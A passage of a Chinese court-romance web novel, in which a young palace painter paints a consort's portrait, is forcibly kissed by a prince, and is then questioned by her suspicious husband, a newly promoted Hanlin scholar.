黄时雨粉靥倏然涨红一片,万没想到闻大人口无遮拦,连带把她也窘迫进去,幸而急中生智,她描补道:“不,不打紧的,在下官眼里小闻大人不仅是上官,连年纪也同我表叔差不多,说一句下官的长辈也不为过,相当可靠……” 表叔? 闻遇微微僵硬。 闻道芝方才想起两人差着七岁呢,这么大年纪好像还真能做她表叔,总归黄诏侍就是个孩子。 她轻咳了声,“是我失礼了,不过你那弟子的年纪确实不合适。走吧走吧,咱俩先去侧室。” 捞起黄时雨的手溜之大吉。 闻遇的脸色不大自在,悻悻迈入了隔壁的屋内。 京师多的是想嫁给他的小丫头,他又没有成亲,竟被她当成了“表叔”。 然而他见过的人太多,有清高自傲,有温柔内敛,也有咋咋呼呼夺人眼球的,唯有她,有一双最干净的眼。 这样的眼睛,令人自惭形秽。 以至成了“表叔”,他也怨不起来。 带着不为人知的心事,闻遇平静无波地授课,单独为黄时雨讲的课,陆召琰被打发去煮茶了。 黄时雨盯着闻遇的手指,呆怔半晌,恍然道:“怨不得我的绢打湿后总是差点意思,原来你是这样延展的。” 倘若无人指点,不知得要何年何月才顿悟。 她模仿着他的角度,伸出了手。 素若羊脂凝玉,娇柔的仿佛碰一碰就折了,玉簪花似的,携着那惊心动魄的甜香,经过了他紧张的掌心,落在湿润的绢底。 闻遇的手滑了一寸,险些碰着了她,眸色几番变幻。 第83章 心惊 微风穿过大敞的葵形木棱窗子,撩动她额畔柔软的碎发轻舞,恰如他沉浮的心。 闻遇缓缓收回了手。 又是那种眼神。 黄时雨发现了新门道顿时忘形,结果一抬头,看见了双被春雨洗净的墨色黑眸,心止不住往下沉。 上回藏画楼廨所,小闻大人也是这样,黝黑深晦,宛若沉寂的冰渊。 他,应是对她不满。 却隐忍着。 闻遇不知自己做了什么,黄时雨忽然撤回了身子。 那么近的距离仿佛一场梦。 许是没见过世面的跳脱不够得体,失了礼数吧。 他的一举一动在她眼里都是新奇的,从未领略过的花样,才一时失了态。 黄时雨捺下好奇与兴奋,摆出大人们习惯的稳重,不苟言笑端坐。 实在开心就藏在心里跳一下。 闻遇想说点什么,动了动嘴角,再次开口,却只能如常授课。 姑母一直防贼似的盯着他。 此行收获颇多,黄时雨满载而归,次日一大早就随内侍进宫,照旧从右银台门经过。 期间还遇到了当值而归的简珣,身后跟着个扛被褥的小内侍,福泽似的年纪。 夫妻二人中间隔着宽阔的甬道,浮光一瞥,匆匆而过。 即便走出了很远的距离,黄时雨依然感受到身后两簇灼灼视线。 他好像很喜欢看她,哪怕她在做一件极微小极无聊的事儿。 譬如趴在树叶观察瓜牛儿(注,蜗牛)的蜿蜒路线。 他也能津津有味观察她。 简珣立在原地深深看了片刻,路过的宫人却小心翼翼觑他,复又垂眸错身而过。 经常走这条道儿的或多或少都会关注他。 宫城可真大呀,比简府不知大了多少圈,全靠两条腿步行。引路的内侍攀谈道:“咱们娘娘的兰台殿算是距右银台门比较近的,再走一盏茶就到了。” 黄时雨含笑抹了把额头,“好嘞,劳您跟着我受累了。” 说话还挺好听。 内侍不过奉旨办差,但也属实累啊,有黄诏侍这句话,心里爽透几分,人也就气清几分,客气道:“都是替主子办差的,不敢当。” 通常受到贵人特别恩赏之人才有资格乘轿辇车舆。 作为奉召入宫画画儿的,说白了就是要去侍候人,黄时雨此行哪里敢想代步,从天不亮就赶过去,走到天光大盛方才走进了兰台殿。 贵妃娘娘早已梳妆完毕,现下整好在兰台殿的杨柳鹅卵石小道散步消食儿。 宫人来禀黄诏侍已经在外候着。 静贵妃才懒懒地搭着懿阳的手前去见一见。 心腹宫人极力吹捧黄诏侍的美貌,静贵妃早有准备,夸不夸大无所谓,只要不污人眼又有本事,她也不是不能接受的。 不意黄诏侍果真如传闻清媚脱俗,浓淡相宜,穿着寻常女官的青袍淡淡立在那里,满园胭脂春光霎时退让三分。 稍微理解德妃缘何发疯了。 但不理解德妃的愚蠢。 这不仅是大康的官员,还是臣妇,是安国公侄媳,莫说皇帝不会瞧一眼,便是瞧了也不至于饿到起心思。 懿阳明显闪了神,愕然须臾复又恢复如初。 原来简允璋的妻子长得这般好看。 心底多少有些幽怨,思及三皇兄的处境,她不得不安静地藏好这份幽怨。 黄时雨规规矩矩向前谒见。 普通女子和宫城女官谒见贵人得屈膝躬身施礼,而皇城官员的话,不论男女皆揖长礼。 这也是黄时雨喜欢为官的一个原因,许多地方,使她觉得自己与男子是平等的。 她恭敬道:“卑职给娘娘请安,愿娘娘千岁万福。” 音色柔婉却不娇弱,中气十足。 静贵妃笑道:“不必多礼。” 遂吩咐宫人伺候黄时雨入座,画署随行的画员则搭好了画架,另有一人执笔记录静贵妃的神态以及突出特征。 面前画架摆好的细绢断不可能是最后成品,静贵妃能坐多久全凭心情。黄时雨唯有用小闻大人教过的速记手法描下娘娘的轮廓,深深记住她的模样,回去精心雕琢。 看得出黄诏侍自持的动作中略略拘谨,静贵妃温和道:“本宫今儿空闲,就在园子里多坐会,黄诏侍不必紧张。” 语气仿佛普通的长辈。 懿阳偏头打量西洋景儿般地看向母妃。 知道母妃心思是一回事,亲眼瞧见又是另一回事。 这么个温和慈祥的贵妃娘娘,与德妃形成了鲜明的对比,黄时雨连忙躬了躬身,益发自持道:“娘娘慈和宽容,卑职感动无以复加。” 静贵妃在对她释放友好。 一个小诏侍凭何使贵妃娘娘另眼相看呢?带着这个疑问,黄时雨的小脑瓜飞快转起来,就想到了安国公这尊大佛。 阿珣再厉害也只是个不及弱冠的小郎君,贵人因为他或许会客气三分,但静贵妃明显不只是客气,而是在有意无意地笼络她。 这份笼络体现在宫人不敢有一丝一毫的怠慢,新鲜的茶点,以及贵妃娘娘足足坐了一个半时辰,中间只更衣了一趟。 一个半时辰是静贵妃的极限,宫人心疼主子疲累,便上前相劝搀扶她回寝宫休息。 黄时雨等人见状先后起身,躬身送别娘娘。 简允璋只是安国公庶弟的嫡孙,母妃也太给黄诏侍体面了。懿阳伴着静贵妃来到寝宫,挥退左右,嘟嘟囔囔道:“母妃,好端端的您怎么学三皇兄,待谁都客客气气。那琅琊简氏固然不容小觑,可简氏二房还是正室所出呢,也没见您像今日这般。干嘛非对三房一个少奶奶礼遇有加。” 静贵妃横了她一眼,“你懂什么。宣道坊三房庶出又如何,三房老太爷的生母不仅是贵妾还是原配的亲妹妹,安国公的亲姨母,倒是二房四房五房,生母是后来的继室。” 单按血缘来算,简氏的五个房头,三房才是安国公最亲的。 明眼人都瞧得出几个弟弟里,安国公最偏哪一个。 不是三房最会拍马,而是三房最近。 静贵妃揉着昨日新染的蔻丹,“这本没什么,反正都是亲弟弟,怪就怪其他房头不争气,仅剩几个老家伙硬撑,年轻一辈日趋没落。赶巧儿,人丁凋零的三房却冒出个简翰林,换你是安国公,能不当宝么。” 门阀世家,哪一个不是提前十几年甚至二十年栽培下一任家主。 倘若简翰林入了安国公的眼,过个十来年,就不是黄诏侍向她行大礼,而是她讨好黄诏侍了。 那么举手之劳,结个善缘,又有何不可呢? 虽说事无绝对,可简翰林绝对是有几分水平的。 才当值了两回,就给皇帝留下印象,昨儿还专门点他又值一回,倒也不是什么什么大事,单纯觉得这个小翰林比老不死的顺眼。 却说皇帝,因武科举舞弊案与老臣吵得不可开交,情急到脱靴砸陈季青脑袋,陈季青那个犟种当场撞柱,若非两边都有人拉着,险些酿出人命。 真正的朝会压根不似老百姓想象中的庄重肃穆,唇枪舌战不亚于菜市口,还曾出过两位重臣当庭互殴的丑事,事后严惩不再多述。 天子雷霆震怒,朝会没散就关押了兵部侍郎年霄山。 上下地动山摇,兵部人心惶惶。 后宫不得干政,而懿阳看起来也是个没心没肺的,这些事静贵妃自然不会同她说,只不紧不慢警告了天真无邪的小公主,“你最好别再盯着简翰林,莫要给你三皇兄添堵。” 懿阳脖子一扭,嗤道:“儿臣想要什么样的好郎君没有,谁稀罕小翰林。” 也是个嘴硬的。 她心里又恨又爱的小翰林其实也没那么风光,换谁也不想赶在此时被皇帝钦点。 无功无过算幸运,稍有不慎极有可能招来杀身之祸。 这便是叶学士连夜召见简珣的缘由。 精心栽培的门生倘若因此遭难,岂不功亏一篑。 眼下唯有期待简珣随机应变,逃脱无妄之灾。 黄时雨和程氏对此茫然所知。 所谓伴君如伴虎。 知道了怕是辞官的心都有。 昨夜当值,简珣如同赴死,惶恐之余更生悲凉,他若死了阿娘和梅娘怎么办? 不过阿娘那么坚强的一个人,定会想法子从族中过继个靠谱的承嗣。 至少担保婆媳二人活着的尊荣,至于死后,人都死了还管这生不带来死不带走的门庭基业作何。 昨夜,静谧可闻针落的金銮殿,矗立着一排排灯树,烛火辉煌。 他穿过正殿来到偏殿,在暴怒的皇帝跟前讲解经史典籍。 阴沉的皇帝忽然打断他,“陈季青这样的刚直名臣将来载入史册,必然誉不绝口,受世人褒扬。朕,若铁了心要严惩他,那你们这群文人是不是要将朕写成个残虐不仁的暴君?” 两句话一百零八个陷阱。 简珣下颌微微绷紧,撩起衣袍跪地请罪。 不管有罪没罪,皇帝不开心,所有人都得跪着请罪。 朝会发生的事,不管安国公还是叶学士都不会隐瞒简珣,培养的就是他对政事的敏感。 三年前神策军并入疾骧军,军心似乎还未归拢一处,犯了皇帝大忌为其一。 今年武科举,兵部举荐乃至选拔的武官皆为疾骧军,上千神策军竟无一人中选,犯了皇帝大忌为其二。 史无前例的怪象。 神策军原将领咬牙受了二十军棍告御状。 终于闹到御前。 皇帝当庭掀桌,一点脸面也不留,着骁影卫将年霄山当街拖进了宫。 而陈阁老清廉刚正,一力劝阻,摆事实讲道理,坚称不存在舞弊,神策军的实力确实不如疾骧军。 他虽有犟种之名,却忠于朝廷忠于礼法,所言亦是实情。 不意愈劝皇帝的火势愈盛,跟点着的炮仗似的,窜上天顶。 最后谁的脸面也不给,还脱靴砸陈季青。 此等羞辱,陈季青一头撞向楠木圆柱。 这样的纠葛岂是一个年轻人所能应对的。 皇帝并没有指望简珣能替他分忧,但他要是说的不中听,这辈子仕途也就到这里了。 简珣骑虎难下,夸皇帝未免虚假,支持大义陈季青小命难保。 世上没有无解的题。 只要是题就有迹可循,包括皇帝的怨愤,以及怨愤背后不宜言明的目的。 皇帝耐心有限,留给思考的时间并不多。 简珣沉下心,目光坚毅而清亮,“皇上万岁,万年之后的史书如何修撰,臣现在并不知,却知道皇帝之所以能做盛世明君,而陈阁老只能做个刚直名臣的原因。” 四下就更安静了。 皇帝缓缓扬眉。 沉吟良久,忽然就笑了,“说说看,什么原因。” 简珣松了一口气,知道自己过了第一关。 “陈阁老忠心耿耿,功劳与优点不胜枚举,且只认道理,恕微臣妄言,这样的他缺少变通就少了皇上的眼界。而皇上雄心壮志,一览天下,看得是万世基业,古往今来,成大事必然要有所变通。” 不懂变通的陈阁老必然要成为皇帝的牺牲品。 皇帝想要掌握疾骧军,首先疾骧军与神策军得是一心。 兵部此举,无异于再次将两军割裂。 皇帝杀人的心都有。 偏陈阁老在这节骨眼添堵,简直是在挑战皇帝的底线。 皇帝想要牢牢攥住绝对的统治、笼络武官,谁与他唱反调谁就得死。 简珣无法得知兵部尚书为何没看懂皇帝的暗示,完全割裂了两军,却知自己暂时过关。 似乎不只是过关。 四月初十,吉日,秉笔太监来翰林院宣读圣旨,并授予册文册宝,简允璋从从六品修撰升任从五品侍讲学士。 此后开始立于讲筵正式伴君。 翰林院升一级堪比旁人连升三级。 黄时雨尚不懂其中关窍,心道简珣只比我大了半级,我要更努力了。 画成之日,天不亮就再次进宫,引路的还是那位内侍,打远就开始朝她作揖,道着恭喜。 内侍身边站着个熟悉的身影,不是旁人,是肃王。 黄时雨吓得左顾右盼,没人。 是了,今儿是来送成画,只有她自己。 第84章 小鹿 肃王今儿穿着较为正式的常服,朱红色衮龙袍,腰系四指宽的镀金伽楠香木带銙。茶褐色的伽楠香木在金色的托座上迸射夺目的尊贵,那是一种久处上层权势中浸润出的天然贵气,令人望之生畏。 黄时雨捺下了汹涌的思潮,踟蹰归踟蹰,却无论如何也不能失态的,况且肃王跟从前不一样,并未霸道迫她相见,甚至相隔数月才见一面,也未在画署出现令她左右为难。 这偌大宫城有肃王的母后与皇兄,自己一个做工的既然来此,那么相遇必是情理之中,毕竟大家都要经过右银台门。 因而万不能露了怯,只会显得心虚上不得台面,不若大大方方坦然一些。 打定了主意,黄时雨驱走纷繁杂乱的头绪,霎时轻松大半,人一轻松整个状态也益发松弛。 “殿下金安。”她低着头躬身作揖。 韩意淮颔首,凝在眉宇的忧思在她闯入视线即刻云开雾散,唯余眷念目光久久在她脸颊徘徊。 黄时雨眼睫微眨。 倘若仔细观察,二人皆为浅浅的内双,只肃王的眼皮更薄一些,明灿目光多了几分犀利与男子的阳刚,黄时雨则相较柔美温软,不过都有着相同的稚气感,无辜感,打眼望过去没什么攻击性。 金鹤一把扯住兰台殿的小内侍攀谈,“你是有米公公的小徒弟禄海吧,瞧着面善,可怜见的,这么早就离了师父在兰台殿打杂了。” 禄海赧然地挠了挠脑袋,低声细语回:“常侍大人没认错,是小的禄海。小的是个没福气的,脑筋瓜儿不如旁人好使,仅剩一把子牛力气,跑跑腿儿倒也值当。” “嗐,有米跟前的石头都能成精,你哪里是不好使,不过人有旦夕祸福,一时没落罢了。”金鹤慈眉善目含着笑,“好好干,说不准哪天也能像你师父在朱雀街附近的坊买个大宅子,再娶个媳妇,人也就就有了归根之处。” 小内侍禄海眉间浮起了惆怅,苦笑,没敢接话。 说回这厢的黄时雨,自打朝肃王揖完礼,后退半步等着引路的小内侍一齐辞别,却见他与金鹤攀谈起来,渐渐旁若无人越过了她与肃王,愈走愈远。 黄时雨急忙提着袍摆追过去,余光瞥见肃王也闲庭信步,与自己并肩而行。 肃王定眼瞥着她,“怕什么,不会遇到你家的简侍讲。” 黄时雨斜挎着比她上半身还长的画轴,小小的脸上满是忧患,显得有些儿可怜。她垂眸道:“您的事儿他都知晓了,只是……只是还不知您是谁。便是为着殿下的名声,咱们还是回避些吧,总好过捅破窗户纸三个人都难堪强一些,也当是殿下发发善心,怜悯我了。” 韩意淮闻言,拧了眉,问道:“他,为难你?” 原以为简珣会休了她,不意一丝儿浪花也未掀起,现在想想,平静的背后未必没有刁难。 若真如此,那他也不装了。 黄时雨连连摇头,急忙撇清误会说没有,“他是个善性的,没有为难我,所以我也不能蹬鼻子上脸,再跟您牵扯不清。当初咱俩事出有因,谁也怨不得谁,可到底不是什么光彩事,就算为了避嫌……也,也不该再说话的。” “原来,认识我,是一件不光彩的事。”肃王很会抓重点,蓦地停下步子审视她,如此她哪里还敢继续走,有些着急看向引路的小内侍,眼里含着祈求,小内侍仿佛瞎了,只管闷头与金鹤往前走。 “我跟你不一样。”韩意淮轻声道,“认识你,不论从前还是现在,都是我一生中最快乐的事,哪怕从未得到过你承认,哪怕只能在阴暗角落见得不得光,我都不后悔。” 黄时雨后背冒了一层虚汗,端正心神道:“见了光,对谁都不好。” “只对你不好吧。”韩意淮哂笑,给她理清楚事实,“你本就是我的,是简珣命好,拿的出正室的位置给你,否则我一定会让他死,断不能将你拱手他人。” “下官感激殿下成人之美,”黄时雨勉强牵出了一抹笑意,始终盯着青石板铺就的路面,“过去的事就过去吧,再牵扯下去,世人只会鄙夷下官,觉得下官是个祸害夫君搅乱画署之人。” “谁敢?”韩意淮哼笑了声,“既然见你,我定确保你安危。上回情急抱了你实非迫不得已,你怪我吗?” 他几多无奈,不抱着掩着必然要被御医识破。任几个宫人内侍抱,可他站旁边也洗不脱嫌疑,干脆就坐实了,让御医慢慢猜去吧,反正他这辈子都猜不出。 黄时雨不想再提,“下官不记得,也不会怪什么,只求殿下也忘了。” 韩意淮噎了噎,这是个提上裙子便翻脸不认的坏女人,他早该清楚的,不禁颓然,复又打起精神,“方才你说‘搅乱画署’,是不是闻遇说了什么?” 他现在就去把闻遇的脖子拧断。 “没有。”黄时雨慌忙扯住他袖摆,“没有人在我跟前说什么,可这种事不说比说了更难堪,还要我复述旁人心里怎么想的吗?” 她满眼祈求。 韩意淮垂眸望着她攥紧自己袖摆的葱白小手,低低道:“这事儿怨我,设色场瞒得住所有人却瞒不了闻遇。他知悉此事等同闻大人也知悉。” 他也懊恼那个心急的自己,吓坏了她。 意不意外,肃王居然会站在旁人的角度思考为难的事了。 黄时雨仓惶松开了手,却被他反握住,紧紧地,唬得她泪珠儿在眼眶直打转,忙回眸四顾,唯恐有什么大人物路过。 “闻遇坏得很,他不找你麻烦便罢,倘若说一句难为你的话,我不会放过他。”韩意淮面色寒凉,冷冷道,“自己管不好手下,画署才闹出一堆丑事,德妃也罢,他被爬床也罢,都算他活该,却偏偏见不得我对你好,始终把你想的那么坏!” 怨不得小闻大人的眼神那般不友善,黄时雨自苦一笑,又坚强地抿紧唇角,然而上头私事肃王说得,她说不得,哪里敢应承,却不得不澄清两句。 小闻大人也就罢了,闻大人真真儿无辜。 “闻大人是个才华横溢的女子,难得的端方清正上官,对我多番提携,一向爱护有加,从未因风言风语为难我。”顿了顿,又实话实说道,“小闻大人或许对我有微词,却也从未磋磨我。” 这是怕他私下寻那二人麻烦。韩意淮“嗯”了声,“好,我不做什么。” 黄时雨想抽回两只手,声音都染上哭腔,“不要这样,我害怕。” 他不怕她怒极喝骂,却怕她含泪的一句“我害怕”,像是心脏被人用力绞碎了,痛得痉挛。 韩意淮茫然松开了手。 “别怕,我保证没人瞧见的,禄海也不会乱说话,可是……我想你。”他柔声低语,屈指轻轻弹去她腮畔泪滴,“御医私下向我言明你身子不足,难以受孕。” “所以,可不可以离开简珣?将来,他定会辜负你的。” 黄时雨摇了摇头,“离不离开是我的事,不需要殿下干涉。” “你,是不是怕我趁机强娶?”韩意淮耐着性子解释,“不会的,我若只想得到你的人,还有简珣什么事儿。除非你嫁给皇兄,不然你跟谁在一起都没用。” 她过于天真,一时不了解权利有多黑暗多肮脏。 肃王给她的全是相对善的一面。 只要肃王不谋反,不管做了什么,皇帝对他的处罚莫过于罚俸禁足。 即便闹到杖责又如何,怎么打,打多重谁会知道。 “丐婆被我抓到了,我知道你并不想听,可她留了句话给你。”韩意淮不让她走,捧了她纤薄的双肩,使她不得不面对他。 黄时雨一怔,血色很快褪得干干净净,抬头看他,“我不想听她的事情,若是人还没死,您帮我捎句话给她吧。” “嗯。” “我不知她凭何觉得勉强将我和您凑一起有趣,但她自己觉着有趣的事,却成了我的苦难,一点也不好玩,我恨她。” 那些日夜折磨着她的噩梦,无法对任何人诉说的委屈,瞬间汹涌袭来,彷徨的她终于咧开嘴哭了。 是他不好,好端端为何要提丐婆。 这两个字应该消失在她的生活里。 再与她无关。 韩意淮的喉结上下滑了滑,有些手足无措,不知该怎么做才能令她好受些,唯有携着无尽的思念,默默拥她入怀,一臂揽着她,一手扶住她脆弱的后背,任她发出压抑的哭泣,泪湿他衣襟。 就让这短暂的一刻永远停留吧。 他拥抱着她。 可她清醒得那么快,宛若受惊的小鹿,无措地推拒着。 而他,在这须臾的拥抱里沉沦,再一次迷失,低头寻到了她的唇,久违的熟悉的香腻温软。 他的好,她不想要。 她只一心受简珣的哄骗。 许久,他才缓缓放过她微肿的红唇,仔细地擦干她眼泪,“遇到一个像我这么坏的郎君,真的很抱歉。倘若有什么天罚,定然是降临到我头上。” 第85章 外室 这个猝不及防的吻没有受到太多阻力,因为黄时雨并未过度挣扎。 男女之间力道的巨大悬殊注定不会有结果,倒不如省些力气,护好了斜挎着的那副画儿,以免肢体的抵触损了它。 她抿紧了唇等他结束。 肃王永远不会懂,为了这幅画,乃至为了有资格画这幅画儿她付出了多大的努力。 毕竟他想要什么都唾手可得。 意识到黄时雨不敢乱动的原因,肃王猛然清醒,缓缓松开了钳制。 黄时雨哂笑后退了一步,眉心微蹙道:“我们,这样到底算什么?” 韩意淮回:“算我是你外室。” 失、心、疯。 她以袖擦了擦嘴角,疾步离开。 他默立原地。 辰时,静贵妃如愿见着了生辰的肖像。 比想象的更美,相较从前略显浮夸的表达,黄诏侍笔下的她十分自然。 这是一幅不曾过度美化的静贵妃,却又极其贴近现实中她最美的模样。 一时间竟难说比旁的大画师好还是坏了。 女人都爱美,自是希望一睹天仙似的自己,但真天仙了又根本不像自己。 静贵妃眯眸打量半晌,转而看向神色略微憔悴的黄时雨,“你,胆子倒是挺大,竟将本宫画得如此丰腴。” 黄时雨重新打起精神,让自己振作,上前揖礼抿出一抹笑,款款地道:“可是下官画的是真正的娘娘。娘娘美貌无匹,纤秾合度,腰细腿长。各花有各花的美,娘娘是一朵妍丽无双的胭脂点玉芍药,下官只是如实画了芍药,没有把芍药化成水仙。” 如实画了芍药,没有把芍药化成水仙。静贵妃咀嚼着这句话,忽然就笑了。 小丫头倒是不怕得罪人的。 却偏偏说的又是实话。 贵妃娘娘想要的从来都不只是好看的自己,而是真实又好看的自己。 旁的画师固然能靠着精湛画艺取悦她,可黄诏侍却令她动容。 静贵妃从这幅生辰肖像看见了没那么完美却千真万确美貌的自己。 芍药确实不必非要摆出水仙的姿态。 心腹宫人瞧得出自家娘娘的笑意不同于上一回。 上回的多半为着黄诏侍的夫家门第,这一回却是因为黄诏侍本人。 静贵妃斜倚紫檀木的螺钿炕几抬抬手,慵懒笑道:“赏。” 黄时雨脑中绷紧的弦悄然松了下去,略带忧郁的双眸溢出浅浅笑意。 自是谢恩不迭。 为这趟差事画了个圆满的结局,也添了笔不错的政绩,这亦是她首次侍奉贵人。 回去的路上宫人越来越多,右银台门又是忙碌的一日,韩意淮并未离开,立在她来时的那一侧。 黄时雨两手捧着娘娘的赏赐,并不去看他,唯有盯着前方,朝着画署的方向走去。 她的生活从前窘迫,如今紧迫,没有太多的精力体味爱恨嗔痴,这条路上容不下左顾右盼,唯有一个人一条道儿走到黑,或者白。 下衙的时候出过一段小插曲,极其细微的那种,黄时雨当时并未当回事。 起因是她登上车还不等迈进车厢一个不留神趔趄了下,幸而搀她登车的宝络眼疾手快将她扶稳。 一个立在车上一个立在车下,这样的差距使得宝络清晰嗅到了少奶奶青色官袍上的奇特异香,位于肋骨附近,那不是少奶奶的熏香亦不属于车厢任何一种。 当然也不是肃王的。 即便沾染了微许肃王的熏香也不会持续到下衙还未消散。 宝络嗅到的异香为伽楠香木所留。 黄时雨心神不宁导致险些摔跤,还好有宝络,“你没事吧?” 宝络为了接她,手肘撞上车辕。 “无妨,一点也不痛,倒是少奶奶身上香香的,奴婢接一下,整好借点光。”宝络试探道。 琥珀瞪她一眼,边掀帘伺候黄时雨入内,边道:“油嘴滑舌,少奶奶的官袍从不熏香。” 宝络笑笑不再说话。 作为少爷放在少奶奶身边的“耳目”,若是没点过人之处当然说不通。她的嗅觉不仅比常人敏锐,还识得名贵又稀有的伽楠香木。 也正因稀有奇特的缘故,闻过一次就再不会忘。 合该黄时雨倒霉,随便换个丫鬟都不会注意到,因为太淡了。 官衙当然不会有伽楠香木,但出身不凡的官员身上或许会有此类熏香。 想到这个可能,宝络立时一五一十回禀少爷。 这才是她的正经差事。 伽楠香木? 简府整好有一盒,不过从未开封。 因是御赐贡品,更适合供起来,倒也不是不能用,而是简夫人、简珣包括黄时雨在内都不是张扬之人。 那画署有这么张扬的世家子弟么? 简珣想了一圈,确定没有。 可在画署也不是接触不到此香,譬如正三品往上镶嵌伽楠香木的带銙。 根据梅娘衣袍所染的位置不难推断腰带主人的大致身高,包括他们用了什么姿势。 从香气推断,怕是抱了好一阵子。 但凡她真心抗拒,官衙重地,奸夫就没法儿用强抱太久便也不至于沾染。 简珣深吸一口气,缓缓靠在椅背上,比扎了绿头巾更痛得是梅娘的不反抗,如同接受了他一般也接受了奸夫。 有权有势世家子弟,年轻的大画师,俊美高大,再加上正三品以上带銙,奸夫的样貌几乎瞬间就完整了。 再没有比闻遇更吻合的。 早该想到的。简珣凉笑。 也或许早就想到了,只是不愿意相信吧,直到此刻铁证如山。 这对奸夫……恶妇!想必从去年试炼开始勾搭。 梅娘貌美,闻遇极有可能垂涎她美色,二人又差着七岁,以她的脑袋怎可能是闻遇对手,婚前便有了首尾,闻家断不会娶她过门。 难为二人在济恩寺做张做智,佯装不熟。 原来不是不熟,是藕断丝连。 成,黄二,你有种。 是闻遇的话,倒也理解她为何咬死不敢说。 谁能比她的仕途与画道重要。 有这么一位功成名就的情郎半推半就着,未来不可限量。 这日黄时雨下衙后心情低落,便没去书房,掌灯时分丫鬟来禀少爷还在书房,请她不必等候,自行安歇。 黄时雨早就躺在被窝昏昏欲睡,“嗯”了声,“我知道了。” 丫鬟福身告退。 次日旬假黄时雨照常请安,陪程氏用膳,也没见着简珣身影,不过这也不是什么稀奇事儿,翰林院常常涉及机要,听说朝堂出了点事,皇帝身边离不开人,召翰林院当值在所难免,那么简珣忙碌也很正常。 午后终于抽出空闲回书房作画,她才见到了简珣。 原来他也在书房。 “咦,今日……你一直在府中?”黄时雨不免讶异。 书房还有个面生的下人,碰见她躬了躬身便急匆匆退下。 简珣闻言,回身撇向她,竟有那么一丝锋利,她晃了晃神,又仿佛眼花。 “这个月画阁有一场陈列会,你想不想去?”他不答反问。 “不了。”黄时雨在画署也能见识不少真迹,又何必去看这些花了钱还不定能买到的,“我要准备六月份的考核。” 简珣眉峰微扬,“自从买了简帖竟才陪你去过一次画阁,我拢共也就去过那么一次,你呢,去过几次?” 黄时雨想了想,“我倒是去过几次,奉命而行,随侍闻大人。” 简珣“哦”了一声,“画署的女官就是不一样,连进出画阁都比旁人来得容易。” 黄时雨不解地看向他。 简珣就笑了,抬眸温和问:“那,这个月,你有没有去?” 初五去过,闻大人为她开的小灶,明令禁止宣扬的。黄时雨不假思索地说了句没有。 简珣的笑意就一点一点褪去。 真想查她踪迹也不是很难,特别是当值的功夫去了哪里。 画署的车夫嘴巴可没那么严实。 初五分明在画阁,却睁着眼睛说瞎话。 这是个撒谎成精的东西。 不仅如此,他还查到闻遇早就在藏画楼为她授过课,好好好,简珣闭目稳了稳心绪。 梅娘的能耐大着呢。 连闻遇都使唤得动。 “阿珣,你没事吧?”黄时雨探了探他额头,总觉得他神色不对劲。 简珣挥开她,正色道:“我没事儿。” 看起来也不像生气。黄时雨在心里狐疑。 以她的道行,简珣不放水的话,还真参不透。 简珣气得天塌地陷,硬是强忍才未泄露半分,整理好情绪,他才招招手将黄时雨拉到跟前,一个站着一个坐着。 “梅娘,你觉得我待你如何?” “你有话便直接说吧,我脑筋没你转得快,也不想同你打什么哑谜,你不必在我身上使心机。”黄时雨直言不讳。 简珣眨了眨眼睛,将她拉进怀中,柔声道:“我连句话也不能说了吗,怎么吃了炮仗似的。” 黄时雨登时凝噎,支吾道:“我没有。” 默然片刻,他忽然轻轻道:“昨晚我做了个噩梦,心里很不踏实。” 黄时雨顿时羞愧不已,愧疚自己对他的关心不够,还言语多有不逊,“梦,都是假的。说出来就会好受很多,你说给我听吧。” 等的就是她这句。 简珣为难道:“我不敢,你定会先发制人,不依不饶,说不定还要恶人先告状。我还是闷在心里,一个人沉淀吧。” “我没你说的这么遭。”黄时雨垂眸道。 “好,算我小人之心,梅娘是个光明磊落的。”简珣似笑非笑,轻轻抚摸着她柔软青丝,淡然说起了她给予他的“噩梦”。 “我梦见你与那人至今藕断丝连,鸿雁传书,多么伤人。明知是假的,醒来我还是特别难受,就一个人静静坐在书房,想了许多的事。”他怀中的梅娘渐渐从柔软止不住地僵硬,脸色益发不自在。 简珣亲了亲她粉腮,在她耳畔低声道:“梅娘,你们早就没了来往,对吗?” 黄时雨忍不住抖了抖,竭力镇定摇头。 “我就知道梅娘最好了。怎会做出瞒着亲夫与其他男人不检点之事。” 他将她抱于书案,漫然解着她的衣衫,“除了迫不得已的那回,梅娘就只有我,对不对?” 昨日,朗朗乾坤下,肃王抱着她唇舌纠缠的画面历历在目。黄时雨忽然用手背盖住眼眸,哭道:“是,我只有你!” 后面的话被他吞没。 守在书房外的丫鬟吓了一跳,隐约听见屋里传来隐晦的声音,连忙回身退到了廊下。 第86章 不忍 其实简珣这个人也没有想象的超群绝伦,从容不迫,反而有着男人最直白的欲念,当他觉得无法掌控某些事,就想通过她的身体来掌控什么,哪怕他努力维持着冷静自若,克己复礼。 黄时雨锁着眉任由自己如同漂泊的孤舟,在海浪中颠荡流离。 当初那个青涩又稚气的花骨朵早就被他雕琢成了盛开的海棠,适应着他接纳着他。 不接纳也没关系,他总有法子迫使她绽放。 方才脑子懵懵的,黄时雨尚未觉知他发什么邪火,待他结束了,伏在她身上沉重地喘息,她的脑子竟出奇清晰了。 他又在扯她的旧账。 昨日宫城甬道无人角落的事他也能知? 显然,超出了范围,除非他是逆臣贼子,否则有何能力在宫城手眼通天? 简珣不意才将将结束,梅娘就手脚并用推开他。 她忍着不适爬起,一骨碌蹦下地,可惜终究高估了自己的实力,双脚甫一着地,酸软的两腿便不争气地跪了下去。 “起来。”简珣用力拎起她。 黄时雨踉跄两步倒在他怀中。 简珣顿了顿,横抱起她走进了暖阁,唯有身处寝卧之地,她才有安全感,才不会那般难堪与惊慌。 黄时雨把自己缩进柔软的丝绸被窝,总算觉得好受了一些。 两个人寥寥对视一眼,她又调开了视线。 他一言不发,默然望定她。 “初五,你到底去没去画阁?”简珣面无表情问。 “去过。”黄时雨面色微白,低下脸承认了,“闻大人带我去的,借着某些你也懂的便宜迫使小闻大人为我授课半日。这事儿不光彩,闻大人又是为了我,你能不能不要再提。” 简珣皱着眉笑道:“这么点事为何一开始不直说?” “我说了不光彩,闻大人上衙期间为了我才如此,你是不是听不懂人话?” 他目光微冷,提醒道:“你在对我大呼小叫。” “奸夫”官阶大的人翅膀就是硬。 “是你不依不饶在先。”黄时雨扭过脸,甩开他捏自己下巴的手指。 “成,初五的事先放一放,敢问黄大人昨天干嘛呢?可别告诉我一整天都在勤勤恳恳办差,这话说出来黄大人不心虚么……”简珣温柔地撩起她一寸青丝。 黄时雨拥紧了丝被,听见自己牙齿打颤的声音。 